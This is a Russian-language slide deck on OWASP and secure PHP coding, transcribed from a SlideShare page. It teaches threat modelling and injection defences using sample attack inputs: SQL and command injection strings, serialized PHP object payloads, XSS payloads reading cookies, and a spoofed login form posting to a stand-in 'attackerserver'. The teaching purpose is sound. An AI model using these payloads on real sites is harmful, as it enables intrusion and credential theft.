SlideShare une entreprise Scribd logo
1  sur  61
Télécharger pour lire hors ligne
Макс Гопей
Безопасное программирование
2
Что будет:
•   Глава 1. Немного про OWASP
•   Глава 2. Моделирование угроз (важно)
•   Глава 3. Уязвимости (быстренько) и инъекции (здесь вы устанете)
•   Глава 4. Полезное на-почитать
•   Глава 5. Как тестировать (внезапно)
3
Stuff:
•   Web Security Wiki
•   Cheat Sheets
•   Top 10 Project
Guides:
•   Development Guide
•   Code Review Guide
•   Testing Guide
Testing Tools:
•   Offensive Web Testing
Framework (OWTF)
•   Zed Attack Proxy (ZAP)
•   Application Security Verification
Standard (ASVS)
OWASP
Open Web Application Security Project
4
•   1. Category: Principle
•   2. Category: Threat Agent
•   3. Category: Attack
•   4. Category: Vulnerability
•   5. Category: Control
•   6. Category: Technical Impact
•   7. Category: Business Impact
Любой риск, связанный с безопасностью,
состоит из агента угрозы (атакующий),
который использует атаки, чтобы найти
уязвимости (как правило, из-за отсутствия или
плохого контроля). В случае успеха атака
окажет техническое влияние
и бизнес-влияние. С риском могут быть
связаны один или несколько принципов.
OWASP ASDR
The OWASP Application Security Desk Reference
5
(Некоторые проверенные)
Принципы безопасности
•   Применяйте глубокую защиту
•   Используйте позитивную модель безопасности
•   Краштесь безопасно
•   Запускайте приложение с минимальными привилегиями
•   Избегайте безопасности через сложность/неясность
•   Делайте просто
•   Фиксируйте проникнования
•   Не доверяйте инфраструктуре
•   Не доверяйте сервисам
•   Делайте безопасные настройки по-умолчанию
6
Агенты угрозы (Threat Agents)
Что-то, что может выражать угрозу
Агент угрозы = Возможности + Намерения + Предыдущие действия
7
Классификация агентов угрозы
•   Не целенаправленные: вирусы, черви, трояны, логиче ские бомбы.
•   Сотрудники: нанятые, контракторы, обслуживающий персонал или охранники, которым
надоела компания.
•   Организованные преступники: нацеленные на ценную для них информацию: банк овские
счета, кредитные карты или интелектуальную собственность, к онвертируемую в деньги.
•   Компании, которые ведут информационную войну или к онкурентную разведку.
•   Люди, случайно: несчастные случаи, неост орожность, небрежность.
•   Люди, намеренно: внутри или снаружи компании.
•   Природные: потоп, пожар, молния, метеорит, землетрясение.
8
Техническое влияние
•   Утеря подотчетности
•   Утеря доступности
•   Утеря конфиденциальности
•   Утеря целостности
9
Бизнес-влияние
•   Финансовый ущерб
•   Утеря соответствия требованиям
•   Нарушение приватности
•   Ущерб репутации
10
Глава 2
Уязвимости
11
Access control enforced by presentation layer Addition of data-structur e sentinel Allowing password agingASP.NET Misconfigurations Assigning
instead of comparing Authentication Bypass via Assumed-Immutable Data Buffer Overflow Buffer underwrite Business logic vulner ability Capture-replay
Catch NullPointerException Comparing classes by name Comparing instead of assigning Comprehensive list of Threats to Authentication Pr ocedures and
Data Covert timing channel CRLF Injection Cross Site Scripting Flaw Dangerous FunctionDeletion of data-structur e sentinel Directory Restriction
Error Deserialization of untrusted dataDouble Free Doubly freeing memory Duplicate key in associative list (alist) Empty Catch Block Empty
String Password Failure of true random number gener ator Failure to account for default case in switch Failure to add integrity check value Failure to check
for certificate revocation Failure to check integrity check value Failure to check whether privileges were dropped successfully Failure to deallocate data
Failure to drop privileges when r easonable Failure to encrypt data Failure to follow chain of trust in certificate validation Failure to
follow guideline/specification Failure to protect stored data from modificationFailure to provide confidentiality for stored data Failure
to validate certificate e xpiration Failure to validate host-specific certificate data File Access Race Condition: T OCTOU Format String Guessed or visible
temporary file Hard-Coded Password Heap Inspection Heap overflow HTTP Parameter Pollution Ignored function return value Illegal Pointer Value Improper
cleanup on thrown exception Improper Data Validation Improper string length checking Improper error
handling Improper temp file opening Incorrect block delimitation Information LeakageInformation leak thr ough class cloning Information
leak through serialization Injection problem Insecure Compiler Optimization Insecure Randomness Insecure Temporary File Insecure Third Party Domain
Access Insecure Transport Insufficient Entropy Insufficient entropy in pseudo-random number generator Insufficient Session-ID Length Integer coercion
error Integer overflow Invoking untrusted mobile code J2EE Misconfiguration: Unsafe Bean Declaration Least Privilege Violation Key
exchange without entity authentication Leftover Debug CodeLog Forging Log injection Member Field Race Condition Memory leak Miscalculated
null termination Misinterpreted function return value Missing parameter Missing XML Validation Mutable object returned Non-cryptographic pseudo-
random number generator Not allowing password aging Not using a random initialization vector with cipher block chaining mode Null Dereference Object
Model Violation: Just One of equals() and hashCode() Defined Often Misused: AuthenticationOften Misused: Exception Handling Often
Misused: File System Often Misused: Privilege Management Often Misused: String Management Omitted break statement Open forward Open redirect
Overflow of static internal buffer Overly-Broad Catch Block Overly-Broad Throws Declaration Passing mutable objects to an untrusted method Password
Management: Hardcoded Password Password Management: Weak Cryptography Password Plaintext Storage PHP File Inclusion Poor Logging
Practice Portability Flaw Privacy Violation PRNG Seed Error Process Control Publicizing of private data when using inner classes Race Conditions Reflection
attack in an auth protocol Reflection injection Relative path library search Reliance on data layout Relying on package-le vel scope Resource exhaustion
Return Inside Finally Block Reusing a nonce, key pair in encryption Session Fixation Sign extension error Signed to unsigned conversion err or Stack overflow
State synchronization error Storing passwords in a recoverable format String Termination Error Missing Error Handling Symbolic
name not mapping to corr ect object Template:Vulnerability Truncation error Trust Boundary Violation Trust of system event data Trusting self-reported DNS
name Trusting self-reported IP address Uncaught exception Unchecked array indexing Unchecked Return Value: Missing Check against Null Undefined
Behavior Uninitialized Variable Unintentional pointer scaling Unreleased Resource Unrestricted File Upload Unsafe function call fr om a signal handler
Unsafe JNI Unsafe Mobile Code Unsafe Reflection Unsigned to signed conversion err or Use of hard-coded password Use of Obsolete Methods
Use of sizeof() on a pointer type Using a broken or risky cryptographic algorithm Using a key past its expiration date Using freed memory Using password
systems Using referer field for authentication or authorization Using single-factor authentication Using the wrong operator Validation performed
in clientWrap-around error Write-what-where condition
12
2017 Top 10 List (RC)
1.  Injection
2.  Broken Authentication and Session Management
3.  Cross-Site Scripting (XSS)
4.  Broken Access Control
5.  Security Misconfiguration
6.  Sensitive Data Exposure
7.  Insufficient Attack Protection
8.  Cross-Site Request Forgery (CSRF)
9.  Using Components with Known Vulnerabilities
10.  Underprotected APIs
13
Глава 2
Auth-уязвимости
•   Уязвимости аутентификации
•   Уязвимости авторизации
•   Уязвимости управления сессией
•   Уязвимости управления паролем
14
Глава 2
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF) — это атака, при которой
пользователь выполняет нежелаемые команды в приложении,
в котором он сейчас авторизован.
15
Глава 2
Cross-Site Request Forgery (CSRF)
<img src="http://shop.com/delete.php?product_id=156"/>
16
Глава 2
Защита от CSRF
•   Проверяйте заголовки: Origin, Referer
•   Используйте анти-CSRF токены
Си: CSRF Prevention Cheat Sheet фо мо дитейлс.
17
Глава 2
Анти-CSRF токен
•   Для любой операции, меняющей сост ояние системы, нужен безопасный случайный т окен.
•   Требования к токену:
•   уникальный для сессии,
•   большое случайное значение,
•   сгенерированное криптографически-безопасным г енератором случайных чисел.
•   Сервер отклоняет запрос, если токен не проходит валидацию.
18
•   SQL Injection
•   Blind SQL Injecion
•   Code Injection
•   Command Injection
•   LDAP Injection
•   PHP Object Injection
•   XSS
•   Content Spoofing
•   Log Forging
•   Regular expression DoS
Глава 3
Инъекции
19
Глава 3
SQL-инъекция
Вставка "инъекции" в SQL-запрос через пользовательские данные.
20
Глава 3
SQL-инъекция
Username: Mike
Password: ' OR '' = '
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';
21
Глава 3
Слепые SQL-инъекции
База данных опрашивается простыми "да/нет"-вопросами, а
результат определяется по ответу приложения.
22
Глава 3
Слепые SQL-инъекции
http://newspaper.com/items.php?id=2
SELECT title, description, body FROM items WHERE ID = 2
http://newspaper.com/items.php?id= 2 and 1=2
SELECT title, description, body FROM items WHERE ID = 2 and 1=2
23
Глава 3
Защита от SQL-инъекций
•   Websec: SQL Injection Knowledge Base
•   Php.net: SQL Injections Avoidance Techniques
24
Глава 3
Инъекции в код
Общий термин для обозначения типов атак, при которых агент
внедряет код, который выполняется приложением.
25
Глава 3
Инъекции в код
$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");
eval = evil
01.
02.
03.
26
Глава 3
Защита от инъекций в код
•   Не используйте eval().
•   Не используйте eval(), пожалуйста.
•   Ладно, но не доверяйте никакому стороннему инпуту.
•   Никакому — значит, вообще никакому.
27
Глава 3
Инъекция в команды
Атака, цель которой — выполнение внедренных команд на хосте
сервера.
28
Глава 3
Инъекция в команды
print("Please specify the name of the file to delete<br>" );
$file = $_GET['filename' ];
system("rm $file" );
Request:
http://127.0.0.1/delete.php?filename=bob.txt;id
Response:
Please specify the name of the file to delete
uid=33(www-data) gid=33(www-data) groups=33(www-data)
01.
02.
03.
01.
02.
29
Глава 3
Защита от инъекций в команды
•   Не используйте инпут в командах, где это возможно
•   Валидруйте инпут
•   Экранируйте инпут
30
Глава 3
LDAP-инъекции
Вставка "инъекции" в LDAP-запрос через пользовательские
данные.
31
Глава 3
LDAP-инъекции
$ldapSearchQuery = "(cn=" + $userName + ")";
•   *
•   jonys) (| (password = * )
32
Глава 3
Защита от LDAP-инъекций
•   Экранируйте:
•   &, !, |, =, <, >, ,, +, -, ", ', ; в DN - требуют экранирования через 
•   (, ), , *, /, NUL в Filter - требуют {ASCII} экранирования
33
Глава 3
Инъекции в PHP объекты
Используют десериализцию или уничтожение объектов.
34
Инъекции в PHP объекты
class Example1
{
public $cache_file ;
 
function __destruct () {
$file = "/var/www/cache/tmp/{$this->cache_file}" ;
if (file_exists( $file)) @unlink( $file);
}
}
 
// some PHP code...
$user_data = unserialize( $_GET['data']);
// some PHP code...
?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
13.
35
Инъекции в PHP объекты
class Example2
{
private $hook;
 
function __wakeup() {
if (isset($this->hook)) eval($this->hook);
}
}
 
// some PHP code...
$user_data = unserialize( $_COOKIE['data']);
// some PHP code...
Cookie: data=O:8:"Example2":1:{s:4:"hook";s:10:"phpinfo();";}
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
12.
36
Глава 3
Защита от инъекций в PHP
объекты
•   Не десериализуйте инпут, используйте JSON
•   Проверяйте данные в __wakeup() и __destruct()
37
Глава 3
Cross-site Scripting (XSS)
Инъекции в фронтенд-код приложения.
Бывают:
•   Хранимые (Stored)
•   Отраженные (Reflected)
•   Основанные на DOM (DOM Based)
38
Глава 3
Cross-site Scripting (XSS)
<?php
$employeeId = $_GET['employee_id'];
...
?>
Exmployee ID: <?php echo $employeeId ?>
http://testsite.com/vuln.php?employee_id=123 <script>alert(1)</script>
01.
02.
03.
04.
05.
39
Cross-site Scripting (XSS)
http://www.some.site/page.html?default=French
Select your language:
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring(
document.location.href.indexOf("default=")+8)+" </OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
http://www.some.site/page.html?default= <script>alert(document.cookie)</script>
01.
02.
03.
04.
05.
06.
40
Глава 3
Защита от XSS
•   XSS Prevention Cheat Sheet
•   DOM based XSS Prevention Cheat Sheet
•   XSS Filter Evasion Cheat Sheet
41
Глава 3
Защита от XSS
1.  Постарайтесь поменьше выводить пользовательских данных :)
2.  Используйте HTML-экранирование перед вставкой данных в HTML
3.  Используйте Атрибут-экранирование перед вствкой данных в атрибуты HTML
4.  Используйте JavaScript-экранирование перед вставкой данных в JavaScript
5.  Используйте HTML-экранирование JSON-строк в контексте HTML
6.  Читайте JSON через JSON.parse в JavaScript
7.  Используйте CSS-экранирование и строго проверяйте данные перед вставкой в <style>
8.  Используйте URL-экранирование перед вставкой данных в URL
9.  Очищайте HTML специальными инструментами
10.  Не допускайте DOM-Based XSS
42
Глава 3
Защита от DOM Based XSS
1.  Используйте HTML-экранирование вместе с JavaScript-экранированием перед вставк ой данных
в HTML субконтекст *
2.  Используйте JavaScript-экранирование перед вставкой данных в субконтекст HTML атрибутов *
3.  Будьте осторожны :), вствляя данные в ивент -хендлеры или JavaScript код
4.  Используйте JavaScript-экранирование перед вставкой данных в субконтекст CSS атрибутов *
5.  Используйте URL-экранирование вместе с JavaScript-экранированием перед вставк ой данных в
субконтекст URL атрибутов *
6.  Изменяте DOM используя безопасные JavaScript функции и свойства
* — в контексте выполения JavaScript 43
Глава 3
Защита от XSS (Bonus track)
1.  Ставьте HTTPOnly cookie флаг
2.  Реализуйте Content Security Policy
3.  Используйте темплейт-системы с встроенным экранированием
4.  Используйте X-XSS-Protection заголовок в ответе
44
Глава 3
Подмена содержимого
Вставка внедренного контента на фронтенде уязвимого вебсайта.
(Content Spoofing)
45
Подмена содержимого
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>
01.
02.
03.
04.
05.
06.
07.
08.
09.
10.
11.
46
Подмена содержимого
http://127.0.0.1/vulnerable.php?name=test
http://127.0.0.1/vulnerable.php?name= <h3>Please Enter Your Username and
Password to Proceed:</h3><form method="POST"
action="http://attackerserver/login.php" >Username: <input type="text"
name="username" /><br />Password: <input type="password" name="password" />
<br /><input type="submit" value="Login" /></form><!--
47
Глава 3
Защита от подмены содержимого
См.: Защита от XSS
48
Глава 3
Log Forging
Имитация сообщений или вставка небезопасных данных в логи
при записи пользовательских данных в лог.
49
Глава 3
Log Forging
$productId = Mage::app()->getRequest()->getParam('id');
try {
$product->load($productId);
} catch (Mage_Exception $exception) {
Mage::log('Failed to load product with ID = ' + $productId);
}
01.
02.
03.
04.
05.
06.
50
Глава 3
Log Forging
http://magento.site/index.php?id=5
2017-04-19T15:13:24+00:00 ERR (3): Failed to load product with ID = 5.
http://magento.site/index.php?id=5n2017-04-19T15:20:31+00:00 ERR (3): Payment was
successful for order #100000156, but Magento was not able to complete the order.
2017-04-19T15:13:24+00:00 ERR (3): Failed to load product with ID = 5.
2017-04-19T15:20:31+00:00 ERR (3): Payment was successful for order #100000156,
but Magento was not able to complete the order.
51
Глава 3
Log Forging
— Здравствуйте! Я только что заплатил 500$ за ноутбук, заказ
номер 100000156, с карты деньги ушли, но сайт показал ошибку.
Можете проверить лог файлы и вернуть мне деньги?
52
Глава 3
Regular expression DoS
Атака, при которой регулярные выражения начинают работать
очень медленно.
53
^(a+)+$
Глава 3
Regular expression DoS
•   Input: 'aaaaX' — 16 возможных вариантов
•   Input: 'aaaaaaaaaaaaaaaaX' — 65536 возможных вариантов
•   Количество вариантов удваивается с каждой новой a.
54
Глава 3
ReDoS: Evil Regexes
Дьявольское регулярное выражение — то, которое может залипнуть на правильно
подобранном инпуте.
Обычно такое выражение содержит:
•   группировку с повторением
•   внутри повторяющейся группы:
•   повторение
•   альтернацию c перекрытием
55
Глава 3
ReDoS: Evil Regexes
(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} // for x > 10
Все вышеперечисленное чувствит ельно к вводу aaaaaaaaaaaaaaaaaaaaaaaa!
56
Глава 3
ReDoS: Evil Regexes
config.system.Database
^(([a-z])+.)+[A-Z]([a-z])+$
57
Глава 3
Защита от ReDoS
•   Используйте регулярные выражения только в крайней
необходимости.
•   Не используйте дьявольские регулярные выражения.
58
Глава 4
Кое-что еще
•   Path Traversal
•   Full Path Disclosure
•   Web Parameter Tampering
•   Content Security Policy
•   HTTP access control (CORS)
•   Least Privilege Principle
59
OWASP Developer Guide
https://github.com/OWASP/DevGuide
60
OWASP: безопасное программирование на PHP.

Contenu connexe

Tendances

CodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахCodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахSergey Belov
 
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...Denis Batrankov, CISSP
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Denis Batrankov, CISSP
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииSQALab
 
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?Expolink
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийDenis Kolegov
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivationbeched
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?beched
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путьVladimir Kochetkov
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийbeched
 
RuSIEM. Потребители. Состав продукта. Отличия. Применение.
RuSIEM. Потребители. Состав продукта. Отличия. Применение.RuSIEM. Потребители. Состав продукта. Отличия. Применение.
RuSIEM. Потребители. Состав продукта. Отличия. Применение.Olesya Shelestova
 
PT Penetration Testing Report (sample)
PT Penetration Testing Report (sample)PT Penetration Testing Report (sample)
PT Penetration Testing Report (sample)Dmitry Evteev
 

Tendances (20)

CodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидахCodeFest 2012 - Пентест на стероидах
CodeFest 2012 - Пентест на стероидах
 
RuSIEM
RuSIEMRuSIEM
RuSIEM
 
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...
Как правильно подключать сотрудников из дома через VPN шлюз на Palo Alto Netw...
 
RuSIEM 2016
RuSIEM 2016RuSIEM 2016
RuSIEM 2016
 
Тестирование на проникновение
Тестирование на проникновениеТестирование на проникновение
Тестирование на проникновение
 
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
Какие вопросы чаще всего задают вендору при выборе решения по информационной ...
 
SibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложенийSibeCrypt 2016. Практические методы защиты веб-приложений
SibeCrypt 2016. Практические методы защиты веб-приложений
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Pentest Report Sample
Pentest Report SamplePentest Report Sample
Pentest Report Sample
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
 
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?
Н.Романов (Trend micro) - Скрытые угрозы: можно ли тайное сделать явным?
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?
 
AppSec -- хакерский путь
AppSec -- хакерский путьAppSec -- хакерский путь
AppSec -- хакерский путь
 
Воркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложенийВоркшоп по анализ защищённости веб-приложений
Воркшоп по анализ защищённости веб-приложений
 
Смотрим в HTTPS
Смотрим в HTTPSСмотрим в HTTPS
Смотрим в HTTPS
 
RuSIEM. Потребители. Состав продукта. Отличия. Применение.
RuSIEM. Потребители. Состав продукта. Отличия. Применение.RuSIEM. Потребители. Состав продукта. Отличия. Применение.
RuSIEM. Потребители. Состав продукта. Отличия. Применение.
 
PT Penetration Testing Report (sample)
PT Penetration Testing Report (sample)PT Penetration Testing Report (sample)
PT Penetration Testing Report (sample)
 

Similaire à OWASP: безопасное программирование на PHP.

Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложенияMaxim Krentovskiy
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтовEugene Fidelin
 
От разрозненных фидов к целостной программе Threat intelligence
От разрозненных фидов к целостной программе Threat intelligenceОт разрозненных фидов к целостной программе Threat intelligence
От разрозненных фидов к целостной программе Threat intelligenceAleksey Lukatskiy
 
безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиковMedia Gorod
 
Некоторые примеры метрик для измерения эффективности SOC
Некоторые примеры метрик для измерения эффективности SOCНекоторые примеры метрик для измерения эффективности SOC
Некоторые примеры метрик для измерения эффективности SOCAleksey Lukatskiy
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиE-Journal ICT4D
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовAlbina Tiupa
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!Positive Hack Days
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кодаAndrey Somsikov
 
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетковкак разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетковPositive Hack Days
 
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...Positive Hack Days
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Vladimir Kochetkov
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметраCisco Russia
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаAndrey Karpov
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаcorehard_by
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
защита Web приложений f5 cti
защита Web приложений f5 ctiзащита Web приложений f5 cti
защита Web приложений f5 ctiCTI_analytics
 
ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...
 ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу... ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...
ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...sharbachou
 

Similaire à OWASP: безопасное программирование на PHP. (20)

Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
От разрозненных фидов к целостной программе Threat intelligence
От разрозненных фидов к целостной программе Threat intelligenceОт разрозненных фидов к целостной программе Threat intelligence
От разрозненных фидов к целостной программе Threat intelligence
 
безопасность веб проектов сергей рыжиков
безопасность веб проектов   сергей рыжиковбезопасность веб проектов   сергей рыжиков
безопасность веб проектов сергей рыжиков
 
Некоторые примеры метрик для измерения эффективности SOC
Некоторые примеры метрик для измерения эффективности SOCНекоторые примеры метрик для измерения эффективности SOC
Некоторые примеры метрик для измерения эффективности SOC
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработки
 
Е. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтовЕ. Фиделин Безопасность Drupal сайтов
Е. Фиделин Безопасность Drupal сайтов
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!
 
разработка безопасного кода
разработка безопасного кодаразработка безопасного кода
разработка безопасного кода
 
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетковкак разработать защищенное веб приложение и не сойти с ума. владимир кочетков
как разработать защищенное веб приложение и не сойти с ума. владимир кочетков
 
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
Владимир Кочетков. Как разработать защищенное веб-приложение и не сойти при э...
 
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
Как разработать защищенное веб-приложение и не сойти при этом с ума? (PHDays 3)
 
Архитектура защищенного периметра
Архитектура защищенного периметраАрхитектура защищенного периметра
Архитектура защищенного периметра
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кода
 
Поиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кодаПоиск уязвимостей с использованием статического анализа кода
Поиск уязвимостей с использованием статического анализа кода
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Project under control
Project under controlProject under control
Project under control
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
защита Web приложений f5 cti
защита Web приложений f5 ctiзащита Web приложений f5 cti
защита Web приложений f5 cti
 
ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...
 ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу... ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...
ВЕБИНАР: Риски утечки конфиденциальных данных клиентов. Какие мы ошибки допу...
 

Plus de EatDog

Классифицируем текст в iOS без CoreML: как и зачем?
Классифицируем текст в iOS без CoreML: как и зачем? Классифицируем текст в iOS без CoreML: как и зачем?
Классифицируем текст в iOS без CoreML: как и зачем? EatDog
 
macOS app development for iOS devs: expand your horizons
macOS app development for iOS devs: expand your horizonsmacOS app development for iOS devs: expand your horizons
macOS app development for iOS devs: expand your horizonsEatDog
 
Dependency Injections in Kotlin
Dependency Injections in KotlinDependency Injections in Kotlin
Dependency Injections in KotlinEatDog
 
Быстрый в имплементации и в работе мониторинг с использованием ELK
